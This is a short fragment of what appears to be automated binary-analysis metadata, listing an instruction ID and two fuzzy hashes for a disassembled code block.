                                                        • Instruction ID: 8e08899b71d5d6c295770fc95a4fa8b22c720a8a39741bac27afb53efd3d8dea
                                                        • Opcode Fuzzy Hash: ef714723185b3a8d2aed80037f9450dbdc245cd35eb766ee46406a0163f8cc51
                                                        • Instruction Fuzzy Hash: C201B2B5705A0192FA5BDB53FE083E86360B76CBD1F454061EF0957AB4DF79C996C200